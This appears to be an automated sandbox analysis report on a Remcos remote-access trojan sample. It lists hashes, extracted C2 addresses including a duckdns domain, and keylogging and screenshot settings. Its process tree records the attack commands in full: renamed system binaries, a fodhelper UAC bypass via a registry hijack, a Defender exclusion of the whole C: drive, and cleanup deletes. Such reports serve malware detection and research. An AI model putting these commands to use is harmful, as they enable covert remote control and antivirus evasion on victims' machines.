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Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/07/2024, 06:45

General

  • Target

    e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe

  • Size

    1.1MB

  • MD5

    2d655119c0aa977debf88758f2009729

  • SHA1

    40c98ca63e9f78284cddbefddc03b6c6ad070462

  • SHA256

    e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9

  • SHA512

    fe96ee94b8c57c76650288eb589eb41b0430ea45597d025c1ecead87cafd75d5bb58204999ca78f736f54b26b247959d079a498784bdcb274bc159fcc4b395c8

  • SSDEEP

    24576:Edd+fYkdMwkRdF36Xq5W2xnXuWmStY6mATIU:EHkvXqE2NXufB6Xv

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

127.0.0.1:45645

127.0.0.1:56765

latestgrace2024.duckdns.org:56765

latestgrace2024.duckdns.org:45645

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-2ZXBPR

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 21 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Kills process with taskkill 3 IoCs
  • Modifies registry class 5 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe
    "C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2380
    • C:\Users\Public\Libraries\ioeztdcY.pif
      C:\Users\Public\Libraries\ioeztdcY.pif
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:636
      • C:\Windows\system32\cmd.exe
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\F676.tmp\F677.tmp\F678.bat C:\Users\Public\Libraries\ioeztdcY.pif"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1364
        • C:\Windows\System32\extrac32.exe
          C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
          4⤵
            PID:4720
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
            4⤵
            • Executes dropped EXE
            PID:3940
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
            4⤵
            • Executes dropped EXE
            PID:1964
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:1744
            • C:\Windows\system32\extrac32.exe
              extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
              5⤵
                PID:4816
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
              4⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:3572
              • C:\Windows\system32\extrac32.exe
                extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                5⤵
                  PID:3588
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
                4⤵
                • Executes dropped EXE
                • System Network Configuration Discovery: Internet Connection Discovery
                • Suspicious use of WriteProcessMemory
                PID:4636
                • C:\Windows\system32\PING.EXE
                  ping 127.0.0.1 -n 2
                  5⤵
                  • System Network Configuration Discovery: Internet Connection Discovery
                  • Runs ping.exe
                  PID:772
              • C:\Windows\system32\cmd.exe
                cmd.exe
                4⤵
                  PID:2776
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                  4⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:4204
                  • C:\Windows\system32\extrac32.exe
                    extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                    5⤵
                      PID:4860
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:900
                    • C:\Users\Public\xkn.exe
                      C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                      5⤵
                      • Executes dropped EXE
                      • Modifies system certificate store
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:4224
                      • C:\Users\Public\alpha.exe
                        "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                        6⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:3796
                        • C:\Users\Public\ger.exe
                          C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                          7⤵
                          • Executes dropped EXE
                          • Modifies registry class
                          PID:4692
                  • C:\Windows \System32\per.exe
                    "C:\\Windows \\System32\\per.exe"
                    4⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    PID:3420
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:3940
                    • C:\Windows\system32\taskkill.exe
                      taskkill /F /IM SystemSettings.exe
                      5⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2492
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:3904
                    • C:\Windows\system32\taskkill.exe
                      taskkill /F /IM SystemSettingsAdminFlows.exe
                      5⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3452
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
                    4⤵
                    • Executes dropped EXE
                    • System Network Configuration Discovery: Internet Connection Discovery
                    • Suspicious use of WriteProcessMemory
                    PID:2560
                    • C:\Windows\system32\PING.EXE
                      ping 127.0.0.1 -n 2
                      5⤵
                      • System Network Configuration Discovery: Internet Connection Discovery
                      • Runs ping.exe
                      PID:4668
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                    4⤵
                    • Executes dropped EXE
                    PID:4404
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                    4⤵
                    • Executes dropped EXE
                    PID:3472
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                    4⤵
                    • Executes dropped EXE
                    PID:3256
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S
                    4⤵
                    • Executes dropped EXE
                    PID:4372
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                    4⤵
                    • Executes dropped EXE
                    PID:4632
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c taskkill /F /IM cmd.exe
                    4⤵
                    • Executes dropped EXE
                    PID:3252
                    • C:\Windows\system32\taskkill.exe
                      taskkill /F /IM cmd.exe
                      5⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4288
              • C:\Windows\SysWOW64\extrac32.exe
                C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe C:\\Users\\Public\\Libraries\\Ycdtzeoi.PIF
                2⤵
                • System Location Discovery: System Language Discovery
                PID:1568
              • C:\Windows\SysWOW64\SndVol.exe
                C:\Windows\System32\SndVol.exe
                2⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                PID:1448
            • C:\Windows\system32\SystemSettingsAdminFlows.exe
              "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
              1⤵
                PID:4976

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\ProgramData\remcos\logs.dat

                Filesize

                130B

                MD5

                4ef95ef2f8be7b21a854434b47030af0

                SHA1

                55bab9bf582ce29503f642efa3a3943cfce6c7ba

                SHA256

                837974dd9419022ff2b23285b467923dbdb99d2f1e3077fbc236ee0a24980841

                SHA512

                bd7333b8cb5fdf6272e602d60d48a4eb472ec44fe18e2f2122dd23d68da8c7de4d86157469e2710a14587d48154c523189ec7939ebaac87ffecfb4c4cf21048b

              • C:\Users\Admin\AppData\Local\Temp\F676.tmp\F677.tmp\F678.bat

                Filesize

                1KB

                MD5

                54147a112fd4c4fffbdeb2eeab926f59

                SHA1

                7f4ae3d3dd6202e47bc02438a947065c7ed115a9

                SHA256

                b040ccd004e2e55f8ad1b022388bbcc72eefd37f122ec2c5ef1601ecabd7dc46

                SHA512

                20c214b5efb1c70df2704fb487d9ba4fddbc87e1e295d9b7320ce1617f532dc0fd814a016f91ae161ba506a20dcbcea337c6bbec74edb71824035334608b2488

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ogz5cutf.gd1.ps1

                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • C:\Users\Public\Libraries\ioeztdcY.pif

                Filesize

                66KB

                MD5

                c116d3604ceafe7057d77ff27552c215

                SHA1

                452b14432fb5758b46f2897aeccd89f7c82a727d

                SHA256

                7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301

                SHA512

                9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6

              • C:\Users\Public\alpha.exe

                Filesize

                283KB

                MD5

                8a2122e8162dbef04694b9c3e0b6cdee

                SHA1

                f1efb0fddc156e4c61c5f78a54700e4e7984d55d

                SHA256

                b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

                SHA512

                99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

              • C:\Users\Public\ger.exe

                Filesize

                75KB

                MD5

                227f63e1d9008b36bdbcc4b397780be4

                SHA1

                c0db341defa8ef40c03ed769a9001d600e0f4dae

                SHA256

                c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d

                SHA512

                101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9

              • C:\Users\Public\xkn.exe

                Filesize

                442KB

                MD5

                04029e121a0cfa5991749937dd22a1d9

                SHA1

                f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

                SHA256

                9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

                SHA512

                6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

              • C:\Windows \System32\per.exe

                Filesize

                48KB

                MD5

                85018be1fd913656bc9ff541f017eacd

                SHA1

                26d7407931b713e0f0fa8b872feecdb3cf49065a

                SHA256

                c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5

                SHA512

                3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459

              • memory/636-89-0x0000000000400000-0x000000000041A000-memory.dmp

                Filesize

                104KB

              • memory/636-87-0x0000000000400000-0x0000000001400000-memory.dmp

                Filesize

                16.0MB

              • memory/636-10-0x0000000000400000-0x000000000041A000-memory.dmp

                Filesize

                104KB

              • memory/636-11-0x0000000000400000-0x0000000001400000-memory.dmp

                Filesize

                16.0MB

              • memory/636-5-0x0000000000400000-0x0000000001400000-memory.dmp

                Filesize

                16.0MB

              • memory/636-8-0x0000000000400000-0x0000000001400000-memory.dmp

                Filesize

                16.0MB

              • memory/1448-92-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/1448-103-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/1448-71-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/1448-66-0x0000000002A70000-0x0000000003A70000-memory.dmp

                Filesize

                16.0MB

              • memory/1448-67-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/1448-77-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/1448-132-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/1448-70-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/1448-90-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/1448-133-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/1448-127-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/1448-97-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/1448-98-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/1448-72-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/1448-104-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/1448-107-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/1448-108-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/1448-109-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/1448-114-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/1448-116-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/1448-121-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/1448-122-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/1448-124-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/2380-1-0x0000000000400000-0x0000000000527000-memory.dmp

                Filesize

                1.2MB

              • memory/2380-0-0x0000000002320000-0x0000000002321000-memory.dmp

                Filesize

                4KB

              • memory/4224-48-0x0000020AFF460000-0x0000020AFF482000-memory.dmp

                Filesize

                136KB